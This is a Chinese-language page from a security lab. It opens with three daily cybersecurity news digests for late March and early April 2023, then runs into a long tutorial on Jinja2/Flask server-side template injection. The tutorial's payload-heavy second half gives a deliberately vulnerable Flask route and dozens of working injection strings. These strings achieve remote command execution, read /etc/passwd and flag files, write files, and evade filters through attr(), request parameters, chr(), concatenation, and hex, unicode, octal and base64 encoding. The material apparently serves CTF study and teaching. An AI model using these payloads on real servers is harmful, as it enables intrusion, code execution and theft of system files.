网络安全日报 2023年04月04日
1、IT公司NTC Vulkan可能为APT组织开发攻击性工具
https://securityaffairs.com/144340/apt/ntc-vulkan-sandworm-cyberwarfare-arsenal.html Mandiant公司发布报告称,对2016年至2020年间属于NTC Vulkan的文件进行了重点研究,发现NTC Vulkan公司可能被要求开发用于执行各种类型的攻击性工具,包括网络间谍、IO 和操作技术 (OT) 攻击、以及红队平台。并在报告中公开了Scan、Amesit 和 Krystal-2B三个项目的详细信息。
2、Western Digital因安全漏洞遭网络攻击导致My Cloud服务中断
https://www.bleepingcomputer.com/news/security/western-digital-discloses-network-breach-my-cloud-service-down/ Western Digital 网络遭到攻击,攻击者获得了多个公司系统的访问权限。 My Cloud的多个用户反馈他们无法访问云托管媒体存储库,会显示“503 服务暂时不可用”错误。Western Digital称已经实施了额外的安全措施来保护其系统和运营。但这些措施可能会影响某些 Western Digital 服务的正常运行。
3、3CX公司称在VirusTotal测试后判定供应链攻击为误报
https://www.theregister.com/2023/04/03/3cx_false_positive_supply_chain_attack/ VoiP软件提供商3CX的首席执行官表示,他的团队测试了其产品以响应最近收到其供应链遭受攻击的警报,但评估的恶意软件感染报告是误报,几天后我团队再次评估,得到了同样的结果。因此3CX公司认为“SentinelOne 警报是误报。这对于 VoIP 应用程序来说并不罕见。”同时,该公司表示,会自动将客户订阅免费延长三个月。
4、 网信办:对美光公司在华销售产品启动网络安全审查
http://www.techweb.com.cn/internet/2023-04-01/2923905.shtml 3月31日晚间,网信办官网发布关于对美光公司在华销售产品启动网络安全审查的公告,理由为保障关键信息基础设施供应链安全,防范产品问题隐患造成网络安全风险,维护国家安全。
5、Microsoft OneNote 将阻止 120 个危险的文件扩展名
https://www.bleepingcomputer.com/news/security/microsoft-onenote-will-block-120-dangerous-file-extensions/ 微软已经分享更多关于 OneNote 将阻止哪些恶意嵌入式文件的信息,以保护用户免受持续的网络钓鱼攻击推送恶意软件。当文件被阻止时,用户将看到一个警告对话框,内容为“您的管理员已阻止您在 OneNote 中打开此文件类型。”
6、研究人员发现新勒索软件Money Message
https://www.bleepingcomputer.com/news/security/new-money-message-ransomware-demands-million-dollar-ransoms/ 2023年3月28日一位受害者在BleepingComputer论坛上首次报告了这种新的勒索软件,当前该威胁行为体已经在勒索网站上列出了2名受害者,其一是一家年收入接近10亿美元的亚洲航空公司,威胁行为体称从该公司窃取了文件,并附上被访问文件系统的屏幕截图作为证明。分析人员对Money Message加密方法进行了分析,加密器并不复杂,但目前还未发现其所利用的漏洞。
7、英国外包服务提供商Capita遭遇网络攻击事件
https://securityaffairs.com/144398/hacking/capita-suffered-cyber-incident.html 英国外包服务提供商 Capita 证实,周五的中断是由网络攻击造成的。
8、APT组织Winter Vivern以北约和外交官的电子邮件门户为目标
https://www.anquanke.com/post/id/288085 名为 Winter Vivern(又名 TA473)的黑客组织一直在积极利用 Zimbra 实例中未修补的漏洞 ( CVE-2022-27926 ) ,以访问北约官员、政府、军事人员和外交官的电子邮件。
9、美国修订法律:医疗器械上市需自证网络安全,否则不予通过
https://www.secrss.com/articles/53311 美国卫生与公众服务部(HHS)下辖食品药品监督管理局(FDA)日前发布最终指导文件,为网络设备制定了新的网络安全要求,其中包括网络设备在上市前的申报材料中必须提交的信息。文件还要求医疗保健相关方应将软件物料清单(SBOM)和漏洞披露报告纳入基础设施网络安全规定。
10、多个勒索软件组织利用未更新的IBM文件传输软件漏洞
https://www.freebuf.com/news/362413.html IBM Aspera Faspex 是一个被企业广泛采用的文件传输应用程序,以能够安全和快速传输大型文件而广受青睐。安全专家警告说,IBM 于2022年12月8日在软件中修补的一个漏洞(可用于回避身份验证和远程利用代码)正在被多组使用加密恶意软件的攻击者滥用。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年04月03日
1、TA473利用Zimbra漏洞攻击欧洲政府Webmail门户网站
https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability# TA473是一个新的APT组织,利用未修复的Zimbra漏洞攻击欧洲政府、军队和外交机构的Webmail门户网站,窃取其邮件。该组织通过扫描和识别目标组织的未修复漏洞,并发送钓鱼邮件来攻击目标。Proofpoint研究人员建议修补所有使用Zimbra Collaboration的公开Webmail门户网站,并限制公开Webmail门
2、Azure的错误配置导致Bing搜索结果可能被恶意修改
https://www.theregister.com/2023/03/30/wiz_bing_takeover/ Wiz研究人员发现了微软自己在Azure Active Directory (AAD)上的授权错误,可能使恶意分子能够篡改微软的Bing搜索引擎,甚至窃取和监视用户的Outlook电子邮件、日历和Teams消息。这个错误被称为BingBang。Wiz团队向微软报告了这些问题,并获得了40000美元的漏洞赏金。
3、研究称OneNote文档成为恶意软件传播新趋势
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rising-trend-of-onenote-documents-for-malware-delivery/ 最近,McAfee Labs观察到一种新的恶意软件攻击活动,利用恶意OneNote文档诱使用户点击嵌入的文件并下载并执行Qakbot木马。由于OneNote应用程序允许用户附加文件,因此它们成为部署恶意软件的良好载体,成为LNK文件的替代品。McAfee Labs还观察到多个恶意软件家族通过OneNote文档进行传播。
4、CISA KEV漏洞可能影响超1500万个面向公众的服务
https://www.bleepingcomputer.com/news/security/15-million-public-facing-services-vulnerable-to-cisa-kev-flaws/ Rezilion公司使用Shodan网络扫描服务来查找易受CISA已知可利用漏洞目录中的CVE攻击的端点。从目录中发现了1500万个易受 200个CVE攻击的实例。其中超过一半容易受到与 Microsoft Windows 有关的137个CVE之一的攻击,并且超800000台机器在很长一段时间内(5年以上)未进行安全更新。而这些漏洞正被广泛利用。报告中强调的一些值得注意的
5、意大利因隐私问题暂时禁止ChatGPT
https://www.securityweek.com/italy-temporarily-blocks-chatgpt-over-privacy-concerns/ 意大利在数据泄露事件后决定暂时阻止了人工智能软件 ChatGPT,并正在调查其可能违反欧盟数据保护规则的行为。意大利监管机构表示,OpenAI 必须在20天内报告其采取了哪些措施来确保用户数据的隐私,否则将可能面临高额罚款,这是对主流 AI 平台的首次国家级限制。
6、研究人员发现针对Linux和Windows设备的Cylance勒索软件
https://www.hackread.com/cylance-ransomware-linux-windows/ 研究人员发现了一种新的针对的是 Linux 和 Windows 设备 Cylance 勒索软件,该恶意软件加密文件后将为它们附加“.Cylance”扩展名。但不要将 Cylance 勒索软件与黑莓旗下的 Cylance 网络安全公司混淆,该公司以减轻和防止对企业组织的勒索软件攻击而闻名。目前为止,对该勒索软件的信息仍有待深入研究。
7、LockBit 公开了从韩国国家税务局窃取的数据
https://securityaffairs.com/144342/cyber-crime/lockbit-south-korean-national-tax-service.html LockBit 勒索软件团伙宣布公布从韩国国家税务局窃取的数据。
8、研究人员披露Elementor Pro WordPress插件漏洞利用细节
https://www.bleepingcomputer.com/news/security/hackers-exploit-bug-in-elementor-pro-wordpress-plugin-with-11m-installs/ Elementor Pro是一个 WordPress 页面构建器插件,允许用户在不知道如何编码的情况下轻松构建具有专业外观的网站。研究人员NinTechNet分享了有关插件WooCommerce模块上的访问控制被破坏的漏洞,该漏洞被利用后将允许任何人在未经适当验证的情况下修改数据库中的WordPress选项。该漏洞影响v3.11.6及其之前的所有版本。
9、僵尸网络利用Realtek和Cacti漏洞传播恶意软件
https://www.bleepingcomputer.com/news/security/realtek-and-cacti-flaws-now-actively-exploited-by-malware-botnets/ 在 2023 年 1 月至 2023 年 3 月期间,多个僵尸网络利用Cacti和 Realtek漏洞,传播ShellBot和 Moobot等恶意软件。目前无法确定是否是同一个威胁行为体在传播Moobot 和 ShellBot,但有发现不同攻击载荷在多起攻击中利用了相同的漏洞。
10、研究人员发现多个AlienFox恶意软件升级版本
https://www.bleepingcomputer.com/news/security/new-alienfox-toolkit-steals-credentials-for-18-cloud-services/ AlienFox是一个模块化工具包,其允许威胁行为体扫描配置错误的服务器,以窃取基于云的电子邮件服务的身份验证机密和凭据。例如 API 密钥、帐户凭据和身份验证令牌等。该工具包还包括单独的脚本,用于在易受攻击的服务器上建立持久性和提升权限。研究人员持续发现该恶意软件多个升级版本,为了防止这种不断演变的威胁,建议服务器设置适当的访问控制、文件权限,并删除不必要的服务。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年03月31日
1、NullMixer 多态恶意软件变种在短短一个月内感染 8K 目标
https://www.darkreading.com/attacks-breaches/nullmixer-polymorphic-malware-variant-8k-targets-month NullMixer加载程序已经破坏了美国,法国和意大利的数千个端点,窃取数据并将其出售给暗网数据经销商,所有这些都没有引起警钟
2、印度制药公司遭网络攻击,ALPHV勒索软件声称对此负责
https://thecyberexpress.com/sun-pharma-cyber-attack/ 印度最著名的制药公司之一Sun Pharmaceutical Industries Ltd.遭受了重大数据泄露。该公司证实,IT系统在Sun Pharma网络攻击中受到影响。
3、开源木马Creal通过钓鱼站点攻击加密货币用户
https://blog.cyble.com/2023/03/29/creal-new-stealer-targeting-cryptocurrency-users-via-phishing-sites/ 最近,网络安全研究机构Cyble Research and Intelligence Labs发现了一个仿冒加密货币挖矿平台的钓鱼站点,该站点传播 Creal 开源木马。该木马是用 Python 编写的,其源代码和构建器也在 GitHub 上公开。研究人员发现了近50个样本,表明黑客正在积极利用这个开源代码来感染不知情的用户。
4、MacStealer恶意软件从苹果用户那里获取大量数据
https://www.darkreading.com/attacks-breaches/macstealer-malware-plucks-bushels-data-apple-users 一种针对macOS用户的新型网络威胁在暗网上以每100美元的价格出售,活动正在增加。
5、Microsoft Azure SFX 中的 Super FabriXss 漏洞可能导致 RCE
https://securityaffairs.com/144251/hacking/azure-service-fabric-explorer-super-fabrixss.html Azure Service Fabric Explorer (SFX)存在漏洞(CVE-2023-23383),可能导致未经身份验证的远程代码执行。攻击者可以利用该漏洞在Service Fabric节点上托管的容器上实现远程代码执行。此漏洞只存在于Windows Cluster中,但可用于大规模的代码执行攻击。Microsoft已通过发布2023年3月补丁更新解决了这个问题。
6、新的AlienFox工具包可收集数十种云服务的凭据
SentinelLabs报道称,AlienFox是一款新的模块化工具包,允许威胁行为者收集多个云服务提供商的凭据。AlienFox可以从流行服务中收集API密钥和密码,包括AWS SES和Microsoft Office 365等。它还能够攻击运行流行Web框架(如Laravel、Drupal、Joomla、Magento、Opencart和WordPress)的配置错误服务器,并通过安全扫描平台(如LeakIX和SecurityTrails)收集配置不当的云端点列表。最新版本还包括自动化加密货币钱包种子脚本“Wallet Cracker”。
7、研究人员称AI 聊天机器人使发现网络钓鱼邮件变得更加困难
https://www.theguardian.com/technology/2023/mar/29/ai-chatbots-making-it-harder-to-spot-phishing-emails-say-experts 专家称,聊天机器人通过消除明显的语法和拼写错误,数据显示,自从去年ChatGPT成为市场领导者以来,黑客越来越多地使用它进行网络犯罪活动。虽然Darktrace公司监测到恶意电子邮件诈骗数量下降了,但这些邮件的语言复杂性却急剧增加。因此,“长枪式钓鱼”等需要欺骗特定目标放弃密码或其他敏感信息的电子邮件对攻击者而言可能很难伪造得令人信服,但像ChatGPT这样的LL
8、加州法院要求 GitHub 提供 Twitter 源代码泄密者信息
https://www.freebuf.com/news/362056.html Cybernews 网站消息,Twitter 向美国北加州地区法院提出申请,希望代码托管平台 GitHub 能够提供源代码泄露者的具体信息。目前,法院已经批准,并要求 GitHub 在 4 月 3 号之前,提供发布者详细的身份信息。
9、木马版Tor浏览器以俄语用户为目标窃取加密钱包
https://www.anquanke.com/post/id/288007 卡巴斯基报告了针对俄罗斯和东欧等俄语用户的木马版 Tor 浏览器,浏览器植入了剪切板恶意程序,设计窃取用户的加密钱包。
10、Winter Vivern 黑客利用 Zimbra 漏洞窃取北约电子邮件
自 2023 年 2 月以来,一个名为 TA473(又名“Winter Vivern”)的黑客组织一直在积极利用未修补的 Zimbra 端点中的漏洞窃取北约官员、政府、军事人员和外交官的电子邮件。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
SSTI之细说jinja2的常用构造及利用思路
现在关于ssti注入的文章数不胜数,但大多数是关于各种命令语句的构造语句,且没有根据版本、过滤等具体细分,导致读者可能有一种千篇一律的感觉。所以最近详细整理了一些SSTI常用的payload、利用思路以及题目,谨以结合题目分析以及自己的理解给uu们提供一些参考,如有写错的地方,还望大佬们轻喷。
在介绍下ssti(服务端模板注入)的具体成因及案例之前,有必要先引入模板引擎的概念。
模板引擎介绍
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。 其不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI(服务端模板注入)攻击
SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序
各框架模板结构如下图所示:
实例
这里使用python的flask框架测试ssti注入攻击的过程。
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route('/ssti', methods=['GET', 'POST'])
def sb():
template = '''
<div class="center-content error">
<h1>This is ssti! %s</h1>
</div>
''' % request.args["x"]
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
本地测试如下:
发现存在模板注入
获得字符串的type实例
?name={{"".__class__}}
这里使用的置换型模板,将字符串进行简单替换,其中参数x的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
以flask的jinja2引擎为例,官方的模板语法如下:
{% ... %} 用于声明,比如在使用for控制语句或者if语句时
{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '1+1' 这个表达式
{# ... #} 用于模板注释
# ... ## 用于行语句,就是对语法的简化
#...#可以有和{%%}相同的效果
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下图通过 SSTI 命令执行成功执行 whoami 命令:
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
可以看到命令被成功执行了。下面讲下构造的思路:
一开始是通过class通过 base 拿到object基类,接着利用 subclasses() 获取对应子类。在全部子类中找到被重载的类即为可用的类,然后通过init去获取globals全局变量,接着通过builtins获取eval函数,最后利用popen命令执行、read()读取即可。
上述构造及实例没有涉及到过滤,不需要考虑绕过,所以只是ssti注入中较简单的一种。但是当某些字符或者关键字被过滤时,情况较为复杂。实际上不管对于哪种构造来说,都离不开最基本也是最常用的方法。下面是总结的一些常用到的利用方法和过滤器。
常用的方法
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。
此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
__new__功能:用所给类创建一个对象,并且返回这个对象。
常用的过滤器
详细说明可以参考官方文档:https://jinja.palletsprojects.com/en/latest/templates/,这里列出一些常用的,有待补充。
issubclass(A,B): 判断A类是否是B类的子类
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
select() 通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。如果没有指定测试,则每个对象都将被计算为布尔值
可以用来获取字符串
实际使用为
()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>
常用的构造语句
接着是总结的一些常用的命令执行语句。
无过滤
# 读文件
#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)
#直接使用popen命令,python2是非法的,只限于python3
os._wrap_close 类里有popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
#调用os的popen执行命令
#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}
#调用eval函数读取
#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}} ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}
#通用 getshell
原理就是找到含有 __builtins__ 的类,然后利用。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
上面这些语句也不是说一成不变的随意套题目,还需要根据是否有过滤、框架是否有该可利用类、python版本高低等进行构造利用链,等下面说到利用思路时再结合例题分析,接着总结有过滤的情况。
有过滤
绕过 .
中括号[]绕过
可以利用 [ ]代替 . 的作用。
{{().__class__}} 可以替换为:
{{()["__class__"]}}
举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
attr()绕过
使用原生 JinJa2 的 attr() 函数。
{{().__class__}} 可以替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
绕过单双引号
request绕过
flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过。
request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。
其他方法的例子,可根据题目过滤的东西动态调整方法来进行绕过
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
chr绕过
如果使用GET请求时,+号记得url编码,要不会被当作空格处理。
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
绕过关键字
反转或+号
使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
利用"+"进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
join拼接
利用join()函数来绕过关键字过滤,和使用+号连接大差不差。
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
利用引号绕过
以用 或 的形式来绕过:fl""ag``fl''ag。
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}
使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
ascii转换
将每一个字符都转换为ascii值后再拼接在一起。
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16进制编码绕过
我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过:
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
base64编码
对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。
"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
unicode编码
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
Hex编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
8进制编码
{{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}
